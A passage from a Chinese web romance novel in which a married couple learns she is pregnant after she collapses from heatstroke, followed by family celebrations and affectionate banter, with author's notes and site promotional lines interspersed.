傅蔺征把她抱起来,“去洗漱,我午餐都弄好了,不吃东西等会儿胃不舒服。
她应了声,懒洋洋被他伺候着,过了会儿走到餐厅,她看到桌面上那道香喷喷的水煮鱼,原本还有点生气的表情瞬间烟消云散。
算了,看在有好吃的补偿的份上原谅他。
除此之外,傅蔺征还炖了乌鸡汤,蒸了生蚝。
容微月跟他走去厨房,见此诧异揶揄:“傅蔺征,你对你自己没自信吗?补这么多。
傅蔺征轻嗤给她装饭,“老子什么时候没信心过?不是要保证数量质量,这不得多补点?
“哦,我还以为这么快你就感觉心有余而力不足了呢。
他箍住她:“容微月,你真不怕我再收拾你是吧?要不要让你看看我现在有没有力?
她忙举小白旗说才不要,眸子盈盈含笑倒映他:
“昨天都清仓了,你还是赶紧补补库存,光有力有什么用啊。
傅蔺征气笑,要收拾她,小狐狸连忙抱着跑来的呼呼逃去餐厅。
真是欠收拾。
两人决定要孩子后,双方父母得知消息,也纷纷送来了一堆补品,健康备孕正式提上日程。
除了早睡早起,一日三餐准点,容微月开始吃叶酸,傅蔺征也没再碰酒,和她一起补锌补高蛋白补维生素,晚上吃完饭,两人经常也会牵着呼呼去楼下散步,或者在家做些拉伸,去泳池游泳。
除了这些,傅蔺征进补后,身体格外好,晚上也没少努力,如今夸张到容微月只要感觉他目光落在自己身上超过三秒,就危险得想逃。
有天晚上刚练完小提琴,小姑娘就被他打横抱起往卧室走去,她脑袋嗡嗡,脸颊冒红,提醒他:“傅蔺征,今天我看过了,不是排卵期……
他看着白若凝脂的她,眼底染了红,喑哑道:“不是排卵期怎么了?老子又不是为了让你怀,就是想和你做。
这人果然就借此机会各种吃……
呜呜呜这人就不是人,是狼,是狗,还是行走的打桩机……
不过做归
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
做,容微月倒是没觉得怀孕这件事很容易,工作室里有个女员工之前备孕了快半年才怀上,身边还有人得了多囊,容微月也知道自己体弱,常年都在喝中药,身体比一般人都差。
把担忧告诉傅蔺征,傅蔺征把她抱在怀里,安抚道:“不着急,你身体现在不是好很多了?我们顺其自然,孩子什么时候来都是缘分。”
她脑袋靠在他颈窝,“嗯,也不急。”
傅蔺征抬手揉揉她下巴,吊儿郎当的声音盘旋在她耳畔:“其实我还希望别那么快,不然怀孕了前三个月又得吃素。”
她不禁弯眉:“就知道你是这么想的……”
两人生活也还如从前一般,依旧平稳幸福。
一个月后,七月上旬,最近容微月也在忙碌着给一个新剧做道具,到了定稿的时候,她这几天影视公司和工作室两头跑,晚上偶尔也要加班。
于此同时,傅蔺征也去了英国谈一场收购案,出差了一周。
下午,容微月开会带领设计部的员工赶完了全部的稿子,随手抓了两片面包当午饭,就独自开车去了影视公司。
八月的京市正是盛夏,太阳像要把整个城市烤化,地面热气腾腾上升。
会议室里,空调打得很足,容微月背靠窗户那边坐着,一面吹着空调,一面太阳又从后方的窗户照进来,冷热交织的感觉让人格外难受。
她勉强挺直腰,提起精神和人说话,却感觉到脊背的汗一阵一阵冒出来。
在空调房里待久了人就容易不舒服,耳边的嗡鸣声越来越重,她抬手拿起水杯,指尖发抖,差点洒了一桌面。
对面的人注意到她脸色发白:“容小姐,你没事吧?”
“没事,不好意思,能把空调温度调高点吗……”
对方连忙应下,见她状态不对,又给她倒了杯热茶,递来披风,她道谢:“我们继续聊吧。”
好在事情很快谈完,确认定稿后,她松了口气,脑子里一阵空白,耳边的声音像被罩上厚玻璃一样闷。
离开公司回到车上,里头热得像蒸笼一般,容微月打开空调,靠着椅背休息,收到舒槿的信息,说工作室还有几份重要文件需要她回来签字。
“好,我现在回去。”她回复完,喝了口水,忍着疲惫重新启动车子。
午后阳光直直地照在挡风玻璃上,她握着方向盘的掌心冒汗,觉得胸口一阵闷热,手臂发软。
开出去没两分钟,她后背冒冷汗,揉着眼睛努力看着前方,感觉人都要从座位上浮起来了,找不到支点。
没看清眼前的车停下了,她反应过来猛地踩了脚刹车,安全带勒得她疼得倒吸一口气。
这样根本没办法开回
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公司容微月停到路边颤着手点开自动驾驶输入最近的医院地址。
这是傅蔺征今年给她新换的车而后她拿出手机给舒槿发语音声音虚弱:“我有点不舒服先去趟医院等我会儿吧……”
舒槿担忧询问容微月说应该是天气太热了
“血糖有点低啊”医生敲击键盘“应该是中暑又有点低血糖空调吹久了汗发出不来反而更容易中暑三餐要好好吃。”
她轻轻点头:“嗯……”
医生转头见到她脸色格外苍白想着低血糖也不该这么严重温和问:“最近有没有性/生活月经规律吗上一次大概是什么时候?”
容微月闻言愣了下思绪空白了一瞬:“好像推迟了快一周但是我月经一直不太规律……”
她反应过来什么轻声问:“我和我先生最近在备孕但是应该没那么快吧?”
医生:“有的人很快就怀上了保险起见去做个尿妊娠测验吧。”
十几分钟后容微月拿到了化验单——
上头显示结果呈阳性。
医生微笑告诉她:“恭喜你不舒服不单单是低血糖的缘故是你怀孕了。”
容微月猛地呆住心河骤然掀起涟漪。
怎么这么快……
他们才备孕就有了……
医生又给她开了抽血化验容微月疲惫地走去等待坐在座位上强撑着精神喝葡萄糖。
手里的单子被捏得起了褶她靠着座
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位汗水顺着鬓角滑落背后全是冷湿的黏意还是一阵一阵发虚前所未有的难受。
空气里消毒水的气味弥漫四周人来人往她一个人孤零零地坐在候诊区此刻周围有几个人看过来眼神微妙以为她又是哪个年纪轻轻未婚先孕没男人要的小姑娘。
半晌口袋里的手机响起。
低头一看是傅蔺征。
她疲惫接起那头如往常般慵懒低柔的嗓音传来:“宝宝我刚下飞机还要去集团开个会今晚有应酬不能跟你吃饭了晚上你乖乖在家等我好么?”
平日里他要忙工作她肯定都理解可是此时或许受了激素影响那种孤单、恐惧、慌乱和疲惫的情绪不受控地像潮水一样漫上来压得她鼻尖一酸。
她嗓子哽得发疼难受控诉:“坏狗狗我不想理你了……”
那头在机场周围太嘈杂傅蔺征还没听出来她声音的怪异笑:“怎么了?这么想我啊?要不傅太太来集团找我?”
她揉了揉发红的眼睛声音发颤:“傅蔺征我在医院……”
男
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人怔住,心底一沉:“医院?你怎么了?
她哽咽:“我中暑低血糖了……医生还说,说我怀孕了,我现在一个人特别难受……
傅蔺征脑中被猛得一捶,愧疚感爆棚,立刻问她在哪个医院,哑声哄她:“宝宝,你等我,我马上就到。
挂了电话,傅蔺征直接往机场外冲。
上了布加迪,他一脚油门踩到底,墨黑色的超跑轰鸣着炸开引擎声,汇入主路。
轮胎碾过柏油路面,爆发出低沉咆哮的声浪。
天空还晴着,可此刻头顶的厚云迅速堆积,紧接着一颗雨滴砸在挡风玻璃上,很快暴雨铺天盖地落下,雨幕遮住了前方的路。
雨刷飞快扫动,傅蔺征没减油门,紧紧控制着方向盘,指尖发白,担忧和自责溢满胸腔。
路上怀裕打来电话,说了工作的事,傅蔺征面色沉冷:“全推了,我没空,月月在医院。
他迅猛超车,只想尽快赶到小姑娘的身边。
原本要半个小时的路程,傅蔺征拿出来在比赛场上的水平,硬生生压进了十分钟。
下了车冲进医院,雨水从他发梢滴落,走廊的冷气裹着消毒水味,刺得他心更乱。
他询问后上楼,看到容微月独自坐在长椅上,脸颊发白,黑发盖着清瘦的侧脸,额头汗珠未干,显得格外憔悴。
刚刚他不在,她一个人该有多难受……
他跑过去,容微月睁开眼看到他,男人半蹲在她面前,握住她冰凉的手,心尖泛疼,低哑出声:
“对不起,宝宝,我来迟了。
“阿征……
看到他,容微月鼻尖冒酸,掉下眼泪,傅蔺征立刻将她抱进怀里,心都要碎了,拍着她后背,柔声低哄:“没事不哭,我来了,别怕。
周围有许多夫妇看过来,都被这幕暖到,刚才那几个暗地里鄙夷容微月的人,见到赶来的傅蔺征,才知道是误会了,这下无话可说。
傅蔺征替她擦掉泪,哑声和她道歉,容微月摇摇头,“没事,你也不知道……
还好这次她第一时间就说出来了,没有让情绪在心底发酵,傅蔺征很怕再遇到高中毕业那种情况,她受了委屈,他从国外回来却毫不知情。
傅蔺征问她身体情况,她靠在他肩上,软声道:“喝了葡萄糖,现在慢慢缓过来了,比刚才好受许多了,现在在等血清HCG出结果。
她看向他,眼底浮出笑意:“医生说我怀孕了,刚刚尿妊娠检测出来是阳性。
刚才来的路上,傅蔺征全在担心容微月,都没心思放在这件事上,此刻闻言心脏怦怦跳动,轻啄她眉眼,也是抑制不住的欢喜,“这么快么?
“嗯,我
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
也没想到……”
傅蔺征给她擦着汗,开心之余更担心她:“以后你别什么事都自己跑,身边要带着人,刚刚那样很危险知不知道?”
万一出车祸了,后果不堪设想。
容微月点点头,心里也愧疚自己太过疏忽逞强,差点害了宝宝,看向他:“那你是推掉公事赶过来的吗,会不会耽误工作……”
“没事,交给其他人处理,你的事最重要。”
她轻咬唇:“对不起,我知道你忙,我刚刚就是一下子好难受,就有点娇气……”
傅蔺征轻捏她的的脸说她笨,“容微月,你是不是又想复习结婚证了?你怀孕这么大的事当然要第一时间告诉我,而且我是你老公,你不对我娇气对谁娇气?”
容微月心头发软,含笑轻应了声,傅蔺征喂她再喝了点葡萄糖水,过了会儿,检查报告也出来了,确认是怀孕了。
按照末次月经来算,已经快五周了。
容微月担心自己今天低血糖会不会影响孩子,医生让她接下来多注意休息就好,笑着看向两人:“放轻松,不要太紧张,先生也要照顾好太太。”
傅蔺征搂住小姑娘,低沉应下:“好。”
走出诊室,傅蔺征陪她又坐了会儿。
难受的劲儿基本消失了,心情也好起来了,外头短暂的暴雨过去,已然雨过天晴,容微月含笑看向傅蔺征:“老公,我们真的有宝宝了。”
傅蔺征搂住她,眼底晕开笑意,慵懒揉揉她耳朵:“这么开心啊?刚刚看你哭成那样,以为你都不想要。”
她酒窝点起:“怎么可能,这是我们的孩子。”
傅蔺征伸手轻抚着她小腹,心河掀起涟漪。
他们走过那么多曲折,分开六年,又重逢、结婚,如今,终于有了他们的孩子。
这是他失而复得她后,上天给予的最温柔美好的馈赠。
“现在会不会难受?”他问。
“好多了,应该是这几天太累了,中午赶去开会也没来得及吃饭。”
傅蔺征无奈:“我一不在家你就放羊是吧?前几天谁答应我要好好吃饭的?小朋友都没你难管。”
她软声撒娇:“我错了嘛……我不知道我怀孕了,要知道我肯定会好好吃饭的。”
他轻嗤:“你是为孩子吃的?不管有没有,你都要好好吃饭。”
她眉眼弯起,“知道了。”
“走吧,回家。”傅蔺征起身搂着她,“带你回去休息。”
两人走到室外,落下的阳光柔和几分,路过食堂,容微月说有点饿了,傅蔺征问她:“先进去吃点东西。”
容微月看到这些菜单,都觉得好清淡:“我想吃辣的,有没有那种爆辣的东西呀,比如椒麻鸡?”
傅蔺征微怔:“大热天要吃辣的?”
这段时间入夏天气炎热,她都没胃口,喜欢吃着冰的凉的,辣得冒汗的她都不爱吃。
“嗯,突然就好想吃……”
傅蔺征揽住她往前走,“好,带你去那家川菜馆。”
往前走,容微月抬头看到男人唇角挂着明显的笑意,眉梢挑起,比刚才还心情愉悦了一个度。
她呆问:“怎么了,你这么开心?”
傅蔺征压下唇角,揽住她,悠悠然道:“酸儿辣女,我要有个女儿了。”
容微月:嗯??
〓作者有话说〓
哈哈哈哈哈哈哈哈听到阿征这句话我就想笑!!
闹闹:没想到我是吧[让我康康][让我康康]
啊啊啊宝宝要来啦!
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266随机,今晚还有一章加更!!写完就早点发![亲亲]宝宝们,求点个收藏作者呀~~
第 70 章 chapter70容微月听到傅蔺...
第70章第七十章
【chapter70容微月听到傅蔺征的话,忍不住……】
chapter70
容微月听到傅蔺征的话,忍不住笑出声:“酸儿辣女那一套不准好不好,而且我本来就爱吃辣。
傅蔺征揽住她往前走,揉揉她下巴,嗓音悠哉:
“可你最近两三周不是老说天气热没胃口?我买的水煮鱼你都不爱吃,今天突然想吃了,说不定这就是咱们女儿向你释放的第一个信号。
看这人分析得头头是道的,不知道的还以为是哪个妇产科专家呢。
容微月抬眼看他,水光盈盈,忍笑道:“傅蔺征,我看是你想要个女儿吧?我这刚怀上呢,你就开始偏心啦?
傅蔺征唇角提起:“没有,男孩女孩都好,还不都是我俩的孩子?就是想到如果是女儿,肯定跟你小时候很像,软软糯糯的。
只要一想象到那是小号版的容微月,奶呼呼的小团子,他就觉得可爱得不得了。
容微月弯眉:“那儿子也挺好呀,和你小时候也很像,肯定从小就是个小帅哥。
傅蔺征眼皮黑痣挑起,笑意桀骜张扬:“跟我一样呢那肯定从小颜值没的说,但估计挺闹腾的,我爸妈说,以前我调皮得都想给我塞回娘胎里去。
容微月笑,“那还好小时候我没认识你,不然肯定讨厌死你了,比高中刚认识的时候还讨厌。
男人长臂箍住她,俯身霸道落下一吻,气音薄热浑坏:“容微月,谁说高中对老子一见钟情来着?讨厌还跟我做那么多次啊?你抱着老子哭着说好喜欢的时候呢?都忘了?
她羞得面颊红成小桃子,唇角压下,可笑意从杏眸里跑出来:“傅蔺征你好坏,真不理你了……
男人扬唇揉揉她头。
出了医院,他让她上了布加迪,她的车让助理开回去:“接下来每天我送你去工作室,嗯?再给你安排个司机,不能再出现今天这样的情况了。
考虑到自己和肚子里的宝宝,容微月点点头,也难得不怕麻烦别人。
傅蔺征先带她去吃饭,是一家明恒投资的高端私厨川菜馆,餐馆接到消息立刻安排了景致最好的包厢,傅蔺征也交代后厨容微月的忌口,特意提到了她怀孕,让菜尽量少油少盐健康一些,厨房也立刻调整菜谱,所有食材都选用当天最新鲜的。
一顿饭很对小姑娘的胃口,她大快朵颐,肚子被填满,精神也好了许多。
傍晚回到家后,傅蔺征把她抱到沙发上,呼呼摇着小尾巴飞快蹦跶过来,本来要扑到妈妈怀中,傅蔺征一脚拦住。
他眯眼轻嗤:“傅呼呼,你是
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
有多久没见到你妈了用得着这么激动?老子平时十天半个月不回来也没见你这样。”
呼呼穿了一身焦糖饼干衣服小舌头吐吐地摇着小尾巴容微月笑:“因为我是慈母你是严父呼呼当然怕你了。”
傅蔺征轻呵:“家里要我俩都慈它不得上天当祖宗了?”
白绒团子呜哼了声甩着尾巴去拍他的腿傅蔺征嘱咐它:“傅呼呼你妈怀孕了以后不许再往她怀里扑了不然会伤害她肚子里的小宝宝还有你爹不在的时候你要多陪着她懂点事听到没?”
小团子似乎真听懂了似的转头看向容微月眨巴着黑宝石眼睛随后轻轻跳上沙发乖乖窝在她手边可爱得让人心都化了。
容微月弯眉:“感觉它真的好像听懂了。”
傅蔺征走过去揽住她拖腔带调道:“跟在我这种智商顶尖的人身边耳濡目染智商肯定不低。”
容微月笑真是佩服他“傅蔺征你怎么那么自恋什么事都能拐到夸自己身上。”
“我是自恋么明明是你也恋”他把她抱到腿上“现在好点没?头还晕不晕?”
“好多了没什么感觉。”
“我们要不要打电话和爸妈他们说一声?他们肯定乐坏了。”
容微月莞尔点头傅蔺征拿出手机先告诉盛柳和容承业俩人激动坏了一通关心嘱咐还说立刻过来又告诉傅家傅司盛和霓映枝同样欢喜也说要来家里看他们。
于是晚上容家父母和容新旭还有傅家父母和傅家老爷子、霓音和贺行屿都赶来了提了一大堆东西。
家里一片热闹傅老爷子笑得合不拢嘴:“上个月刚备孕这个月就有了不错太高效了!!”
容微月腼腆莞尔和傅蔺征对视霓映枝乐开怀:“我上个月就预感好事相近呢这是马上就能抱到孙子或者孙女了。”
傅司盛含笑叮嘱:“头三个月要格外注意一定要好好养阿征你要照顾好月月。”
“嗯。”
霓映枝拉着容微月的手关切问:“以后你们还住在这边吗?这里太偏了
盛柳也附和:“这边去医院产检也不方便也可以回家妈照顾你。”
傅蔺征道:“这事我下午刚和月月商量过打算搬到棠华府那边环境好、配套齐全离她的新工作室也近暂时不用麻烦爸妈我能照顾她等月份大了再请你们帮忙。”
他和容微月还是更喜欢两个人生活更加自由而且也不想两方长辈太辛苦盛柳和霓映枝平时也有各自的
听说看这本书的人都是很幸运的,分享后你的运气会更棒
工作。
傅老爷子说这样也行:“那也要请个厨师和保姆,更好照顾月月,阿征你那个厨艺我实在是不放心。”
一旁霓音笑着点头如捣蒜:“我也不放心,哥,现在我嫂嫂可不是你的小白鼠了。”
大家笑,傅蔺征无奈扯唇:“你几个意思,我现在厨艺有那么恐怖?”
经过一年多的练习,傅蔺征的手艺进步了不少,虽然达不到餐馆水平,但是容微月最爱吃他做的饭,每次都给他高度评价,他也越做越有成就感。
容承业:“阿征确实厨艺进步了很多,但是请个厨师你们也会轻松,阿征现在也要管明恒。”
傅蔺征如今是明恒集团的总裁,身为董事长的傅司盛退居幕后为他把关,傅蔺征展现了和傅司盛年轻时候一样的魄力和能力,甚至有青出于蓝胜于蓝的态势,无人不佩服。
傅蔺征说他也有请营养师和厨师的想法,也担心自己照顾不周,可以先和专业的人学习,霓映枝说这就帮他们去安排。
容新旭关心道:“姐,那你最近一定要好好休息啊,可不能再经常加班了。”
“对啊月月,”盛柳心疼,“你这几天就是太累了才会低血糖,现在天热,怀孕最遭罪了。”
容微月点头:“我接下来工作室不会太忙,很多事情都可以交给手下的人去做。”
容承业:“月月,你有什么需要帮忙的就和爸爸说,云琢这边也能给你们提供支持。”
“好。”
大家叮咛嘱咐了许多,欢声笑语喜乐融融,迟些时候大家离开,傅蔺征和容微月送他们,到玄关口,贺行屿看向傅蔺征,淡淡开口:
“真就备孕一个月就怀上了?”
傅蔺征挑起眉梢,慵懒倚着墙:“是啊,我和我老婆身体都好,这又不是什么难事。”
贺行屿:“……”
他就随口问一句,又给这人嘚瑟上了?
傅蔺征看他:“你和我妹打算什么时候要孩子?不着急?”
“不急,音音事业在上升期,怀孕的事可以往后放。”霓音如今是当红女星,戏都拍不过来,贺行屿以她的事业为主。
傅蔺征懒声应:“行,大哥就是大哥,各方面都是遥遥领先于你。”
贺行屿拨弄西装领带,扯唇,“嗯,也包括脸皮厚度和自恋程度。”
傅蔺征轻嗤:“贺行屿,你怎么敢对你大舅哥说这样的话的……”
众人离开后,傅蔺征和容微月下楼散了散步,回到家他抱着她去洗澡,极致细心,给她擦浴巾时也格外轻柔。
躺到床上,容微月被他圏进怀中,看到他小心翼翼生怕压到她的样子,不禁笑:“傅蔺征,你不用那么紧张,我才怀孕一
你的朋友正在书荒,快去帮帮他吧
个月呢,宝宝在我肚子里还是颗小种子,没那么脆弱的。
男人侧身看着她,手掌轻轻覆在她小腹上,柔声道:“正因为是小种子才要好好呵护,就想让你尽可能轻松点。
容微月软声问:“阿征,我们有孩子,你会很开心么?
他黑眸灼灼,笑:“是我还表现得不够明显么?
“是有点没察觉出来……
傅蔺征把她圈在怀中,无奈揉揉她头:“我当然特别特别高兴,能和你有个宝宝,我们陪着他一点点长大,这不是很美好?属于我们的孩子,我怎么可能不期待。
这个宝宝是他和容微月相爱最直接的证明,流淌着他们的血液,是他们生命最深刻的连接,只要想到这点,傅蔺征整颗心就烫得厉害。
傅蔺征低声道:“今天接到电话,听到你哭着说在医院查出怀孕了,我当下哪能开心得起来?后来回到家一直忙到现在,现在才有机会消化即将要当爸爸这件事。
容微月戴着婚戒的手和他相扣着,酒窝塌陷:
“我也没缓过神,像在做梦一样,别人都说备孕不容易,我们也太顺了……
傅蔺征桀骜挑眉:“那不是证明老子很厉害?我之前早就说了,要是没戴,以我们的频率,怀孕是很快的事。
她闻言脸上爬上绯红,果然就知道他要嘚瑟这件事,小声嗫嚅:“我算了下,好像是……第一个晚上就怀上的。
傅蔺征轻笑:“之前某些人不是还质疑我?这不是一发就中了?
男人揉揉她腰间,声音愈发低哑撩下:“不过也不止一发,也不知道是哪次中了,宝宝你说是抱着你按在墙上那次,还是沙发上那次,还是在落地窗前那次?
这人真是浑**……
容微月整张脸都红透了,可仍旧大胆,狡黠弯眉,软声道:“我也不知道,每次你都*那么多,老公太厉害了。
傅蔺征闻言,心底的火炸开撩起,倾身吻上她的唇,薄荷气息勾缠,咬着她红唇捻,小姑娘突然心跳如鼓:“傅蔺征,你……
他气息沉沉,“感受到了,还敢招惹我?
她弯眉求饶,“我错了……
傅蔺征薄唇流连于她天鹅颈,容微月被他撩得如布丁一样发软,但理智还是占了上风,娇声劝:“傅蔺征,你忘记了你妈今晚特意交代你的吗,前三个月不能剧/.烈运动……
霓映枝太了解自己的儿子,今晚临走之前还特意叫来他,告诉他前三个月不能乱来,傅蔺征无奈按了按眉心:“妈,这基本常识我能不知道么?
霓映枝:“……不能光知道,知行合一。
这人但凡有点自制力,能在新婚
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夜把chuang弄塌?
此刻想到那嘱咐,傅蔺征扯起唇角:“我妈生怕我把你肚子里的宝宝折腾出什么毛病来,老子至于这么没分寸?”
容微月害羞推搡他:“那你还这样……”
“怎么,不能…去,还不能ding一下啊?”男人浑得没边了。
“不能……”
容微月脸红羞得咬他一口,要从他怀里钻出来,傅蔺征把她拽回来,低哄说不逗她了。
傅蔺征摸摸她脸颊:“放心吧,反正前三个月我死也会忍着,再怎么想要也得等你孕期稳定了之后再说。”
小姑娘被他圈在怀中,亮着盈澄的眸子望向他,葱白玉指拨弄着他的古巴链,声音轻软:“以你的胃口,不是要憋疯了?”
傅蔺征笑,“来日方长,还怕以后没有让你还的时候?”
“哼……”
这晚,傅蔺征还是缠着她吻了很久,两人都被勾了上来,气息发乱。
小猫咪最后哼唧唧窝在他怀中,小猫爪不爽地在他肩头留下挠痕,男人也被磨得红了眼,哑声安抚说再等等。
俩人对对方都是来自骨子里的吸引力,从高中毕业后就是这样,控制不住。
不过俩人都知道,现在为了肚子里的小种子,都得老老实实。
第二天一大早,傅蔺征就把昨天容微月的检查单发到了朋友群里,悠哉道:
【有个那么漂亮温柔可爱的老婆也就算了,转眼又要当爹了,各位,你们说谁的人生那么幸福呢?原来是我啊。】
??群里另外六人顿时炸了。
殷绿也好激动:【啊啊啊月月怀孕了?!不是才备孕吗,速度这么快的吗!!】
夏千棠:【天哪,我又要当干妈了,太开心啦!】
付筱盈:【恭喜恭喜,微月姐这是和殷绿姐接力呀。】
湖安:【阿征这是和我接力了哈哈哈,以后有不懂来问我,我有经验。】<
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付则承:【傅蔺征的尾巴原本就翘到了天上,现在微月怀孕了,要翘到宇宙了,只能去银河系打。】
大家笑,容微月感谢了大家的祝福,调侃傅蔺征:“看到没,大家都说你太嘚瑟了。”
傅蔺征给她包着三明治,勾唇:“如实阐述而已。”
傅蔺征弄完三明治,慢条斯理把口袋里的结婚证拿出来,又把她的怀孕报告单折好夹进结婚证里,重新放回口袋。
容微月呆住:“傅蔺征,你会连这个报告单也要随身带着吧……”
傅蔺征喝了口牛奶,吊儿郎当道:“怕弄丢了,刚好有位置收着,不行?”
她都难以想象这人以
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后动不动把结婚证和怀孕报告单掏出来给别人看的场面,不禁笑:“傅蔺征,哪有人像你这样的,这也不是什么值得骄傲的事呀……
傅蔺征揉揉她的头:“对我来说值得就够了,反正顺手放着,没事就拿出来看看,心情肯定很好。
对他来说,和她有关的一切都会让他满足,如果这是一种病,早在六年前他就染上了,现在早已病入膏肓。
容微月暖心靠在他怀中,软声嘱咐:“但是前三个月你还是先别和太多人说,宝宝还不够稳定,我总有点担心。
傅蔺征轻抚她肚子,低柔道:“不许胡思乱想,宝宝不会有事的,我都陪着你。
“嗯……
这几天,两人也把东西陆续搬去棠华府,呼呼也被接过去。
新家被傅蔺征布置得温馨极了,也是她喜欢的现代原木风,顶楼大平层豪宅比原来禾盛庭的房子大了近三百平,是一整层买过去打通的,坐落北京最高端的地段,市值近六亿。
住进去后,厨师、营养师和两阿姨入职,照顾着小姑娘的日常起居,每天她出门去工作室如果傅蔺征没空,也有司机接送,保障她的安全。
除此之外,傅蔺征也买了很多怀孕的相关书籍回来,打算做个准爸爸学霸,如今他又是给小姑娘挑选妊娠油,又是帮她筛选着可以用的护肤品,还有提前联系好生产的医院和月子中心,各方面都细致入微。
傅蔺征一开始也紧张,每天除了工作脑子里盘旋的都是容微月和宝宝的事,处理集团事务和开赛车他都游刃有余,唯独对迎接新生命这一块一片空白,毫无头绪。
他忍不住去找湖安请教:【前期有什么要注意的吗?我能为月月做什么?】
湖安笑道:【前期不用太紧张,最重要的是让微月有个好心情,绿绿那段时间比较容易发脾气,这时候要多顺着她,她开心最重要。】
傅蔺征微愣:【发脾气?大概怎样?】
湖安:【比如经常使唤我做这件事做那件事,各种小要求,让我去买这个买那个,我不陪着她,她就不开心,就想黏着我,晚上要哄她睡觉。】
傅蔺征眉梢挑起:【还有么?】
湖安倒没有不乐意,但当时挺提心吊胆的,生怕照顾不好殷绿:【差不多就这样,你不用太担心,微月使唤你要求你,你就多点耐心,因为这是足够爱你足够信任的表现。】
傅蔺征唇角挑起,敲下几字:【谢了兄弟,告诉我这么好的消息。】
湖安:……?
嗯,这对吗??
傅蔺征锁上手机屏幕走去训练场,怀裕见他满脸笑意,有些疑惑,男人说了此事,感叹:“月月那么爱我,肯定
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
很黏我,没办法,婚后就是有这样各种各样的烦恼,我也只能慢慢适应。”
怀裕:……这人像是有烦恼的样子吗?
晚上傅蔺征回到家,陪容微月吃完晚饭,厨师和阿姨也先离开。
傅蔺征问:“宝宝,我现在要去开个线上会议,大概要两个小时,你现在想干什么?”
“我……我去客厅看电影吧,昨晚的电影还剩一半没看完。”
傅蔺征陪她过去,帮她打开电视,开了柔和的暖灯,俯身看着沙发上的她:“宝宝想吃什么?”
“不用,不想吃零食。”
“那想喝什么?”
“现在不喝,想喝我自己拿就好啦。”
傅蔺征看着她专注看电影的样子,怔了怔,又问:“那宝宝还需要什么?或者我去给切点水果。”
“不用,我现在不饿,”容微月扬起眸看他,眼睛弯成月牙,“你赶紧去忙吧,不用管我。”
傅蔺征:说好的黏人撒娇呢??
这怎么和湖安说的不同啊?
傅蔺征滚了滚喉结,摸摸她头:“真的不需要我帮其他忙?或者我陪你?迟点开会也行。”
“不用,你安心忙就好,”她琥珀眸子弯弯,“我一个人真的可以呀。”
男人脸色微顿,这几天她都是这样,一点儿脾气也不闹,情绪超级稳定,天天都软乎乎的。
难道生女儿脾气都挺稳定吗?
傅蔺征转身往书房走了几步,湖安那句“她闹脾气是因为足够爱你足够信任你”的话再度浮现脑中,他又忍不住折返回来。
到她身旁,她疑惑还没说话,傅蔺征扣住她后颈,一把把她搂进怀中,灼灼气息覆上她红唇,霸道索吻。
容微月唔了声,怔愣得脑中空白,半晌被他抱在怀中,吻到面红耳赤呜哼才停下,她懵然:“傅蔺征,你怎么了……”
傅蔺征直勾勾看她,嗓音低哑:“宝宝,你是不是没那么爱我了。”
她呆住了:“嗯??没有啊?”
这人干嘛这么说??
“有人说怀孕后会黏人点娇气点,老子还期待了半天,可你怎么对我这么乖啊?”
傅蔺征摸摸她脸颊,低声道:“宝宝,你多黏我点好不好?”
〓作者有话说〓
阿征:老婆黏我,开心,老婆撒娇,开心,老婆对我发脾气,开心**,老婆咬我,开心上天
真真老婆脑哈哈哈哈哈[让我康康]
ps:怀孕后孕妇比较容易撒娇发脾气是文中剧情,没有隐射现实的意思,每个人情况因人而异[叠个甲!]
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266个随机红包,我来迟啦,明天见,不定时~~[亲亲]
第 71 章 他极尽温柔耐心照顾她和宝宝...
第71章第七十一章
【他极尽温柔耐心照顾她和宝宝】
chapter71
容微月没想到傅蔺征会这么说,一时间错愕,心头而后被柔软爱意包裹。
或许有些丈夫在妻子怀孕初期看到她情绪起伏、脾气变怪,会心生不耐,可是傅蔺征却刚好相反,只怕她不够依赖他,想给她更多关心和宠爱。
她就知道,嫁给傅蔺征是这辈子做出最正确的决定,这个世界上,再不会有人像他这样爱她了。
容微月钻入他怀中,紧紧抱住他,温软莞尔:
“笨蛋狗狗,你怎么现在比我还爱胡思乱想啊?
傅蔺征顺势圈住她,“我是怕你想太多。
“真的没有,她仰眸看他,“而且我怎么可能没那么爱你?这个世界上我最爱的人就是你了,最爱最爱你了。
傅蔺征压下唇角,懒洋洋道:“想想也是,有这么完美的老公,每天哪怕全力以赴也爱不过来了。
容微月笑,这人没两分钟又开始自恋。
她下巴搁在胸膛,抬眸看他,声音柔软:“我知道怀孕后情绪容易波动,绿绿也和我讲过,不过我现在真的没这种感觉呀,也有可能时间还没到,我每天都很开心,而且你那么耐心照顾我,我也想听话懂事点,不让你太累。
傅蔺征眉峰蹙起,轻捏她脸:“容微月,你趁早把‘听话懂事’这个思想从你脑中清出去,我什么时候要求你嫁给我要这样了?在咱们家你想怎么样都可以,再娇气再闹腾我都爱,只要你高兴,懂?
她看着他,鼻尖不禁冒酸,“嗯……仴ɡё襡鎵
从小到大,她总被要求要懂事,只有他,一次次拆掉她身上的枷锁,让她重新学会做自己。
“孕育宝宝是我们两个人的事,你不需要一个人扛着,傅蔺征摸摸她的头,“现在照顾你是我的责任,你不使唤我还想使唤谁?我不是最好用?
容微月含笑点头,软糯道:“好,那我就不客气了,你现在去帮我切个梨,再切点哈密瓜。
“好。
“然后给我拿点零食,要我最喜欢吃的那几样,再把我书房的画本拿过来,然后开完会帮我放好浴缸水,我等会儿要泡澡,你要帮我按摩。
傅蔺征挑眉,笑意更深:“还真这么不客气啊?
她努嘴:“不是你说的吗?
男人笑揉揉她的头,“行,等着。
经过这件事后,容微月的心境也慢慢发生改变。
怀孕初期,她可能也有意让自己保持独立,可如今她放松下来,更多依赖傅蔺征,向他表达需求,把自己的想法全盘告诉他。
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而傅蔺征甘之如饴乐在其中把她宠成了在家里什么都不用干、只用喵喵叫就能得到全世界的小公主。
就比如怀孕后她胃口突变经常突然想吃平时很少吃甚至不爱吃的东西而且是立刻就想要嘴馋的感觉来得快去得也快。
查出怀孕后第二周的某个晚上傅蔺征半梦半醒间却感觉怀中的人不见了睁开眼一看小姑娘缩在床边一身淡黄色睡裙像个小蛋卷似的正抱着刷手机杏眸亮亮盯着页面上的美食吃播。
怎么这么可爱啊。
傅蔺征心底柔软塌陷从背后把她搂进怀中无奈低笑:“宝宝大晚上不睡觉看吃的饿成这样?”
